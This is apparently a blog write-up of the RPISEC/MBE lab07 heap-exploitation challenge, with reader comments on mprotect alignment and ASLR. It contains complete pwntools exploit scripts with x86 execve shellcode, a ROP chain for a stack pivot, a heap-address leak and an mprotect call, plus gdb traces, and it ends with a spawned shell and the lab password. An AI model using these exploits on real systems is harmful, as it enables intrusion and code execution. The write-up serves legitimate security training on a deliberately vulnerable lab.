-Input new message to encrypt: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEE
-Message has been successfully modified!

+---------------------------------------+
|        Doom's OTP Service v1.0        |
+---------------------------------------+
|------------ Services Menu ------------|
|---------------------------------------|
| 1. Create secure message              |
| 2. Edit secure message                |
| 3. Destroy secure message             |
| 4. Print message details              |
| 5. Quit                               |
+---------------------------------------+
Enter Choice: ^C
Program received signal SIGINT, Interrupt.
...
gdb-peda$ x/80xw 0x080f19d8-8
0x80f19d0:      0x00000000      0x00000111      0x08048fd3      0x078d572f
0x80f19e0:      0x137db5d1      0x7d14f569      0x2f24ff9b      0x1d0207b8
...
0x80f1ac0:      0x6c500bc5      0x7f55507a      0x4e5e3108      0x43c5f900
0x80f1ad0:      0x715111bf      0x353a0874      0x4b534e30      0x42424242
0x80f1ae0:      0x43434343      0x44444444      0x45454545      0x1fcab70a
0x80f1af0:      0x13c8adcd      0x59269ff2      0x5ad6c09d      0x76520b8c
0x80f1b00:      0x3031749d      0x2a925bee      0x64adb511      0x41d6cbd2

For the new message I entered "A" * 128 + "BBBBCCCCDDDDEEEE". As you can see in the heap output, 0x42424242 ("BBBB") overwrote the member variable msg_len of the first chunk. 0x43434343 ("CCCC") and 0x44444444 ("DDDD") overwrote the heap meta-data of the second chunk messing up this chunk. Nevertheless the value 0x45454545 ("EEEE") has been written in the first 4 bytes of the actual data of the second chunk. Because this 4 bytes contain the member-function print_msg, the program raises a segmentation fault when we try to print the second message:

gdb-peda$ c
Continuing.
4
-----------------------------------------
-Input message index to print: 1

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x45454545 ('EEEE')
EBX: 0x80481a8 (<_init>:        push   ebx)
ECX: 0xbffff6cd --> 0x4008000a
EDX: 0x80f1ae8 ("EEEE\n\267\312\037Í­\310\023\362\237&Y\235\300\326Z\214\vRv\235t10\356[\222*\021\265\255d\322\313\326A\037\036\307PD\205\016i\027wXq\245a_0u\022G\022z\365qv\202\\\226:u[RYe \302a*\002x.\351\337\354\025\360\254\253\002\213*\\uy\237\214@\377\203\246P(dTzR\317KzP\023&!\303\356\\/aH\206(\021\262\267{-\200\363'\r")
ESI: 0x0
EDI: 0x80ecfbc --> 0x8069190 (<__stpcpy_sse2>:  mov    edx,DWORD PTR [esp+0x4])
EBP: 0xbffff6f8 --> 0xbffff728 --> 0x8049e70 (<__libc_csu_fini>:        push   ebx)
ESP: 0xbffff6ac --> 0x8049521 (<print_index+160>:       mov    eax,0x0)
EIP: 0x45454545 ('EEEE')
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x45454545
[------------------------------------stack-------------------------------------]
0000| 0xbffff6ac --> 0x8049521 (<print_index+160>:      mov    eax,0x0)
0004| 0xbffff6b0 --> 0x80f1ae8 ("EEEE\n\267\312\037Í­\310\023\362\237&Y\235\300\326Z\214\vRv\235t10\356[\222*\021\265\255d\322\313\326A\037\036\307PD\205\016i\027wXq\245a_0u\022G\022z\365qv\202\\\226:u[RYe \302a*\002x.\351\337\354\025\360\254\253\002\213*\\uy\237\214@\377\203\246P(dTzR\317KzP\023&!\303\356\\/aH\206(\021\262\267{-\200\363'\r")
0008| 0xbffff6b4 --> 0x0
0012| 0xbffff6b8 --> 0xa ('\n')
0016| 0xbffff6bc --> 0x80ed240 --> 0xfbad2887
0020| 0xbffff6c0 --> 0x80ed240 --> 0xfbad2887
0024| 0xbffff6c4 --> 0x29 (')')
0028| 0xbffff6c8 --> 0x1
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x45454545 in ?? ()

Great! We successfully completed the first part of the challenge:
–> We found a heap overflow vulnerability within the program.
–> We succeeded in leveraging this vulnerability to control the instruction pointer (eip).

The next big question is: Where should we jump to?

As we figured out, the binary was statically linked. So let’s first check if our favourite function system has been built in:

[0x08048d2a]> is~system
vaddr=0x080d5660 paddr=0x0008d660 ord=738 fwd=NONE sz=62 bind=LOCAL type=OBJECT name=system_dirs
vaddr=0x080d564c paddr=0x0008d64c ord=739 fwd=NONE sz=16 bind=LOCAL type=OBJECT name=system_dirs_len

Does not look good. Maybe the binary at least contains the string "/bin/sh" and we can create a ROP-chain executing the syscall execve?

[0x08048d2a]> / /bin/sh
Searching 7 bytes from 0x08048000 to 0x080eff18: 2f 62 69 6e 2f 73 68
# 6 [0x8048000-0x80eff18]
hits: 0

Nope, no "/bin/sh".

While searching through the built-in functions I stumbled upon the following:

[0x08048d2a]> is~mprotect
vaddr=0x0806f340 paddr=0x00027340 ord=1248 fwd=NONE sz=37 bind=GLOBAL type=FUNC name=__mprotect
vaddr=0x0806f340 paddr=0x00027340 ord=2227 fwd=NONE sz=37 bind=UNKNOWN type=FUNC name=mprotect

The binary contains the function mprotect:

lab7A@warzone:/levels/lab07$ man mprotect
MPROTECT(2)                                   Linux Programmer's Manual                                  MPROTECT(2)

NAME
       mprotect - set protection on a region of memory

SYNOPSIS
       #include <sys/mman.h>

       int mprotect(void *addr, size_t len, int prot);

DESCRIPTION
       mprotect()  changes  protection  for  the calling process's memory page(s) containing any part of the address
       range in the interval [addr, addr+len-1].  addr must be aligned to a page boundary.
	   
...

mprotect can be used to change the protection of memory pages. As for now we cannot execute shellcode in the stack or heap because these segments are marked as RW only because NX is enabled:

gdb-peda$ ! cat /proc/$(pidof lab7A)/maps
08048000-080ec000 r-xp 00000000 fc:00 922475     /levels/lab07/lab7A
080ec000-080ee000 rw-p 000a3000 fc:00 922475     /levels/lab07/lab7A
080ee000-08112000 rw-p 00000000 00:00 0          [heap]
b7ffc000-b7ffd000 rw-p 00000000 00:00 0
b7ffd000-b7ffe000 r-xp 00000000 00:00 0          [vdso]
b7ffe000-b8000000 r--p 00000000 00:00 0          [vvar]
bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]

If we call mprotect to make the heap executable, we could store a shellcode in the heap and then redirect the instruction pointer to that shellcode.

Before we can call mprotect we need to leak the address of the heap since we must pass the address as the first argument to mprotect.

Let’s have a look if there is a function built in which can print something for us:

[0x08048d2a]> is~puts
vaddr=0x08050bf0 paddr=0x00008bf0 ord=1359 fwd=NONE sz=335 bind=UNKNOWN type=FUNC name=puts
...

Looks good. The function puts is located at 0x08050bf0. If we pass the fixed address of the global array messages (0x80eef60) to puts at least the address of the first heap pointer will be printed.

But how do we pass arguments to puts? In a stack overflow scenario we could easily overwrite the return address on the stack with a function address and just keep on writing further bytes which will be stored after the return address ending up to be the arguments to the called function.

With the heap overflow vulnerability we discovered, we can only overwrite one function address. If we write more bytes, these will not be stored on the stack, but within the struct object on the heap. Thus this does not help us passing arguments to the function we want to call. In the last level we leveraged the fact that the member-function we could overwrite was being called with an argument which fits our needs. In this level the member-function is called passing the whole struct instance:

    messages[i]->print_msg(messages[i]);

As the first member in the struct is the member-function itself, we cannot change this value because it must contain the address of the function we would like to call.

This means we have to do a little trick. Do you remember level lab5A? We introduced a technique called Stack Pivoting. When using ROP and there is only one gadget we can call, we should call a gadget which changes the stack pointer (esp) so that it will point to a region on the stack which we can control. In this region we can place further gadgets which will be called one after another.

But how do we control a region on the stack? There is no stack overflow vulnerability!? Well, we do not need a vulnerability to modify the stack. All local variables are stored on the stack. And did you recognize the quite unusual way the index is read from the user in print_index and all other functions requiring an index?

    char numbuf[32];
    unsigned int i = 0;

    /* get message index to print */
    printf("-Input message index to print: ");
    fgets(numbuf, sizeof(numbuf), stdin);
    i = strtoul(numbuf, NULL, 10);

The buffer for the index (numbuf) is 32 byte long! Quite large for an index but perfect to store more gadgets on the stack 🙂

One thing we have to consider is that the buffer must contain a valid index in the first bytes:

    if(i >= MAX_MSG || messages[i] == NULL)
    {
        printf("-Invalid message index!\n");
        return 1;
    }

    /* print the message of interest */
    messages[i]->print_msg(messages[i]);

If i is not a valid index, the member-function print_msg does not get called. As the user input is read using fgets we can place null-bytes in our input. If we enter "1\x00AAAAAAAAAAAA..." for example strtoul will return the valid index 1 but the buffer numbuf will still contain the additional "AAAA...".

Summing it up we will do the following to leak the heap address:
–> Create a message with the length 131, overwriting msg_len.
–> Create a second message.
–> Edit the first message leveraging the overwritten msg_len to overwrite the member-function of the second message with the address of an appropriate stack pivoting gadget.
–> Selecting 4. Print message details entering index 1 (second message) followed by a null-byte and additional gadgets, which will be stored on the stack.

The following images illustrates the approach:

The offset from the stack pointer (esp) to numbuf at the point of time the print_msg function is called can be determined using gdb:

gdb-peda$ disassemble print_index
Dump of assembler code for function print_index:
   ...
   0x0804951c <+155>:   mov    DWORD PTR [esp],edx
   0x0804951f <+158>:   call   eax
   ...
   0x08049538 <+183>:   ret
End of assembler dump.
gdb-peda$ b *print_index+158
Breakpoint 1 at 0x804951f
gdb-peda$ r
Starting program: /levels/lab07/lab7A
+---------------------------------------+
|        Doom's OTP Service v1.0        |
+---------------------------------------+
|------------ Services Menu ------------|
|---------------------------------------|
| 1. Create secure message              |
| 2. Edit secure message                |
| 3. Destroy secure message             |
| 4. Print message details              |
| 5. Quit                               |
+---------------------------------------+
Enter Choice: 1
-----------------------------------------
-Using message slot #0
-Enter data length: 4
-Enter data to encrypt: AAA
-Message created successfully!
...
Enter Choice: 4
-----------------------------------------
-Input message index to print: 0
[----------------------------------registers-----------------------------------]
EAX: 0x8048fd3 (<print_message>:        push   ebp)
EBX: 0x80481a8 (<_init>:        push   ebx)
ECX: 0xbffff6cd --> 0x4008000a
EDX: 0x80f19d8 --> 0x8048fd3 (<print_message>:  push   ebp)
ESI: 0x0
EDI: 0x80ecfbc --> 0x8069190 (<__stpcpy_sse2>:  mov    edx,DWORD PTR [esp+0x4])
EBP: 0xbffff6f8 --> 0xbffff728 --> 0x8049e70 (<__libc_csu_fini>:        push   ebx)
ESP: 0xbffff6b0 --> 0x80f19d8 --> 0x8048fd3 (<print_message>:   push   ebp)
EIP: 0x804951f (<print_index+158>:      call   eax)
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8049512 <print_index+145>: mov    edx,DWORD PTR [ebp-0x30]
   0x8049515 <print_index+148>: mov    edx,DWORD PTR [edx*4+0x80eef60]
   0x804951c <print_index+155>: mov    DWORD PTR [esp],edx
=> 0x804951f <print_index+158>: call   eax
   0x8049521 <print_index+160>: mov    eax,0x0
   0x8049526 <print_index+165>: mov    ecx,DWORD PTR [ebp-0xc]
   0x8049529 <print_index+168>: xor    ecx,DWORD PTR gs:0x14
   0x8049530 <print_index+175>: je     0x8049537 <print_index+182>
Guessed arguments:
arg[0]: 0x80f19d8 --> 0x8048fd3 (<print_message>:       push   ebp)
[------------------------------------stack-------------------------------------]
0000| 0xbffff6b0 --> 0x80f19d8 --> 0x8048fd3 (<print_message>:  push   ebp)
0004| 0xbffff6b4 --> 0x0
0008| 0xbffff6b8 --> 0xa ('\n')
0012| 0xbffff6bc --> 0x80ed240 --> 0xfbad2887
0016| 0xbffff6c0 --> 0x80ed240 --> 0xfbad2887
0020| 0xbffff6c4 --> 0x29 (')')
0024| 0xbffff6c8 --> 0x0
0028| 0xbffff6cc --> 0x8000a30
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0804951f in print_index ()
gdb-peda$ x/32xw $esp
0xbffff6b0:     0x080f19d8      0x00000000      0x0000000a      0x080ed240
0xbffff6c0:     0x080ed240      0x00000029      0x00000000      0x08000a30
0xbffff6d0:     0x080ed240      0x0000000a      0x00000029      0x08050280
0xbffff6e0:     0x080ed240      0x080c085e      0x00000004      0x2b329900
0xbffff6f0:     0x00000000      0x080ecfbc      0xbffff728      0x0804967e
0xbffff700:     0x080c0870      0x00000000      0x00000002      0x00000000
0xbffff710:     0x080ed014      0xbffff7b4      0x00000004      0x2b329900
0xbffff720:     0x00000000      0x080ecfbc      0x08049e70      0x080498ba
gdb-peda$ x/s $esp+0x1c
0xbffff6cc:     "0\n"

I set a breakpoint on the call eax instruction which call the member-function. In the output of the stack we can see the value 0x08000a30. This is the 0 + newline we entered. Thus the offset is 0x1c before the call. Since the call places an additional item on the stack (the return address) the final offset is 0x20 = 32 byte.

An appropriate gadget can be found using radare or other ROP-tools (see lab6). The gadget I used adds 32 byte to esp and pops two times. Because this moves esp 4 bytes too far, I must append 6 fill bytes ('A' in the image) to make esp point to the address of puts. After the address of puts the next return address is stored. Here I simply placed the address of main in order to keep the program running. The last item on the stack is the address of messages which contains the heap pointers we want to be printed by puts.

The following python-script implements this approach leaking the heap address of the first struct msg stored in messages[0]:

lab7A@warzone:/levels/lab07$ cat /tmp/exploit_lab7A.py
from pwn import *

p = process("./lab7A")

#************************************************
# stage 1

# create first obj -> overflow 3 bytes changing msglen
p.recvuntil("Enter Choice: ")
p.sendline("1")                 # 1. Create secure message
p.sendline("131")               #    --> len = 131
p.sendline("A"*130)             #    --> data = "AAAAAA...\n"

# create second obj -> we are going to overwrite this shortly
p.recvuntil("Enter Choice: ")
p.sendline("1")                 # 1. Create secure message
p.sendline("4")                 #    --> len = 4
p.sendline("A"*3)               #    --> data = "AAA\n"

# overwrite second obj
p.recvuntil("Enter Choice: ")
p.sendline("2")                 # 2. Edit secure message
p.sendline("0")                 #    --> index = 0
expl = "A"*132
expl += p32(0x00000000)
expl += p32(0x00000111)
expl += p32(0x0807e372) # add esp, 0x20; mov eax, esi; pop ebx; pop esi; ret
p.sendline(expl)                #    --> data = expl

# call function -> leak heap address
p.recvuntil("Enter Choice: ")
p.sendline("4")                 # 4. Print message details
num = "1\x00"
num += "A"*6
num += p32(0x8050bf0) # second gadget after pivoting: puts
num += p32(0x8049569) # return address: main
num += p32(0x80eef60) # 1st arg puts: messages
p.sendline(num)                 #    --> index = 1 (+rop-chain)

# output contains address of first heap object in messages array
ret = p.recvuntil("Enter Choice: ")
message_0 = int(ret[0x49:0x4d][::-1].encode("hex"), 16)
log.info("message_0 = " + hex(message_0))

Despite of ASLR we can now determine the address of messages[0] on the heap:

lab7A@warzone:/levels/lab07$ python /tmp/exploit_lab7A.py
[+] Starting program './lab7A': Done
[*] message_0 = 0x83f09d8
[*] Stopped program './lab7A'
lab7A@warzone:/levels/lab07$ python /tmp/exploit_lab7A.py
[+] Starting program './lab7A': Done
[*] message_0 = 0x891e9d8
[*] Stopped program './lab7A'
lab7A@warzone:/levels/lab07$ python /tmp/exploit_lab7A.py
[+] Starting program './lab7A': Done
[*] message_0 = 0x9a449d8
[*] Stopped program './lab7A'

What else to do to finally get a shell?
–> Store a shellcode which calls execve("/bin/sh") (see lab3C) in the heap using the known heap overflow vulnerability.
–> Use the explained approach to call mprotect making the heap executable (the required values for the arguments can be determined with gdb using the command i proc mappings).
–> As the return address of the call to mprotect set the address of our shellcode within the heap.

I added detailed comments to the final python-script which uses the remote service running on port 7741:

lab7A@warzone:/levels/lab07$ cat /tmp/exploit_lab7A.py
from pwn import *

p = remote("localhost", 7741)

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68"\
            "\x68\x2f\x62\x69\x6e\x89\xe3"\
            "\x89\xc1\x89\xc2\xb0\x0b\xcd"\
            "\x80\x31\xc0\x40\xcd\x80"

#************************************************
# stage 1

# create first obj -> overflow 3 bytes changing msg_len
p.recvuntil("Enter Choice: ")
p.sendline("1")                 # 1. Create secure message
p.sendline("131")               #    --> len = 131
p.sendline("A"*130)             #    --> data = "AAAAAA...\n"

# create second obj -> we are going to overwrite this shortly
p.recvuntil("Enter Choice: ")
p.sendline("1")                 # 1. Create secure message
p.sendline("4")                 #    --> len = 4
p.sendline("A"*3)               #    --> data = "AAA\n"

# overwrite second obj
p.recvuntil("Enter Choice: ")
p.sendline("2")                 # 2. Edit secure message
p.sendline("0")                 #    --> index = 0
expl = "A"*132
expl += p32(0x00000000)
expl += p32(0x00000111)
expl += p32(0x0807e372) # add esp, 0x20; mov eax, esi; pop ebx; pop esi; ret
expl += shellcode
p.sendline(expl)                #    --> data = expl

# call function -> leak heap address
p.recvuntil("Enter Choice: ")
p.sendline("4")                 # 4. Print message details
num = "1\x00"
num += "A"*6
num += p32(0x8050bf0) # second gadget after pivoting: puts
num += p32(0x8049569) # return address: main
num += p32(0x80eef60) # 1st arg puts: messages
p.sendline(num)                 #    --> index = 1 (+rop-chain)

# output contains address of first heap object in messages array
ret = p.recvuntil("Enter Choice: ")
message_0 = int(ret[0x49:0x4d][::-1].encode("hex"), 16)
log.info("message_0 = " + hex(message_0))


#************************************************
# stage 2

# 3rd obj -> overflow msg_len by 3 bytes
p.sendline("1")                 # 1. Create secure message
p.sendline("131")               #    --> len = 131
p.sendline("A"*130)             #    --> data = "AAAAAA...\n"

# 4th obj -> we are going to overwrite this shortly
p.recvuntil("Enter Choice: ")
p.sendline("1")                 # 1. Create secure message
p.sendline("4")                 #    --> len = 4
p.sendline("A"*3)               #    --> data = "AAA\n"

# overwrite 4th obj
p.recvuntil("Enter Choice: ")
p.sendline("2")                 # 2. Edit secure message
p.sendline("2")                 #    --> index = 2
expl = "A"*132
expl += p32(0x00000000)
expl += p32(0x00000111)
expl += p32(0x0807e372) # add esp, 0x20; mov eax, esi; pop ebx; pop esi; ret
p.sendline(expl)                #   --> data = expl

# call function -> mprotect
p.recvuntil("Enter Choice: ")
p.sendline("4")                 # 4. Print message details
num = "3\x00"
num += "A"*6
num += p32(0x806f340)          # second gadget: __mprotect
num += p32(message_0 + 276)    # return: heap-address
num += p32(message_0 - 0x19d8) # memory-page heap
num += p32(0x22000)            # size = 0x22000
num += p32(0x7)                # prot = RWX
p.sendline(num)                 #    --> index = 3 (+rop-chain)
p.recv(100)

p.interactive()

Summing it up again the script does:
–> Leak the address of messages[0] on the heap using puts.
–> Store a shellcode on the heap which calls execve("/bin/sh").
–> Use the leaked address to call mprotect making the heap executable.
–> Setting the address of the shellcode as the return address of the call.

Finally running the script:

lab7A@warzone:/levels/lab07$ python /tmp/exploit_lab7A.py
[+] Opening connection to localhost on port 7741: Done
[*] message_0 = 0x91ca9d8
[*] Switching to interactive mode
$ whoami
lab7end
$ cat /home/lab7end/.pass
0verfl0wz_0n_th3_h3ap_4int_s0_bad

Done! The final password for lab7 is 0verfl0wz_0n_th3_h3ap_4int_s0_bad.

5 Replies to “RPISEC/MBE: writeup lab07 (Heap Exploitation)”

  1. hey scryh,
    i’m kinda ok with this lab however I still have a silly questions: In lab7A’s final exploit, line 83. num += p32(message_0 – 0x19d8).
    As I thought, this is like ASLR lab, real_add = base_add + offset, where offset is same every run. I also noticed that only 3 bytes stay unchanged. So I only sub 0x9d8 from message_0 it also worked.
    So why do you pick 0x19d8 and when sub bigger than 0x19d8 or not like 0x*9d8 the execution failed ? Should we only need shellcode excutable or there is something with mprotect?

    also found a small bug:
    “I set a breakpoint on the call eax instruction which call the member-function. In the output of the stack we can see the value 0x08000a30. This is the 1 + newline we entered. Thus the offset is 0x1c before the call. Since the call places an additional item on the stack (the return address) the final offset is 0x20 = 32 byte.”
    it is supposed to 0+newline rather than 1+newline i guess

    1. Hey smile,
      regarding mprotect the address passed as the first argument must be page aligned (page size is 0x1000, thus the 3 least significant nibbles must be zero, e.g.: 0x891e000). The reason for this is that the permissions can only be defined for a whole page. The second parameter (size) must not necessarily be page aligned, although mprotect will automatically set the permissions on whole pages. If you for example call mprotect(0x8672000, 0x1001, …), the permissions will be set for the two pages ranging from 0x8672000 to 0x8674000.
      You are totally right, that it is sufficient to make only the memory executable, which holds the shellcode. The parameters I chose make almost the whole heap memory executable. If you want to set the permissions more precisely, you have to assure that you pick the page aligned address before the memory, where the shellcode is stored (e.g. shellcode stored at 0x9a43114, address = 0x9a43000). For the size parameter you can simply use the size of the shellcode (although as mentioned before, mprotect will set the permissions on whole pages).

      Thanks for the note regarding the wrong number! I adjusted it 🙂
      scryh

  2. hey scryh and thanks again for this amazing explanation.
    I have a question regard to 7C.
    in order to find the address of ‘system’ in libc, it is enough to leak an address of a function that doesn’t in libc itself(the print function), and calculate the offset between them. which mean that the ASLR doesn’t separate their address and randomize them as a one block. is it true? isn’t the libc should randomize as a separate block and therefore we should leak an address from libc?
    following this, why in the previous lab: 6A we looked for a specific address of libc to leak in order to calculate system if we could leak any address? thanks a lot

    1. Hey Tomer,

      having back a look on this, that is really a good question. Usually you are right and we need to leak a libc address and not an address from the binary in order to locate the system function. I assume the reason for this here is that the binary is compiled as position independent (gcc … -fPIE -pie) and the kernel used in the RPISEC/MBE VM is quite old by now. On a recent kernel the binary itself (in this case the function small_str) is positioned within the memory independently from other libraries including the libc. Though it is still true that the offset between all libraries used by the binary stays the same (the libraries are not positioned independently from each other). You can test that by running ldd on a binary (e.g. ldd /usr/bin/ssh) a few times and compare the offset between two libraries throughout multiple runs. It should stay the same. It seems that the older kernel does not treat the position independent binary as a special case and positions it along with the other libraries resulting in the consistent offset between small_str and system.

Comments are closed.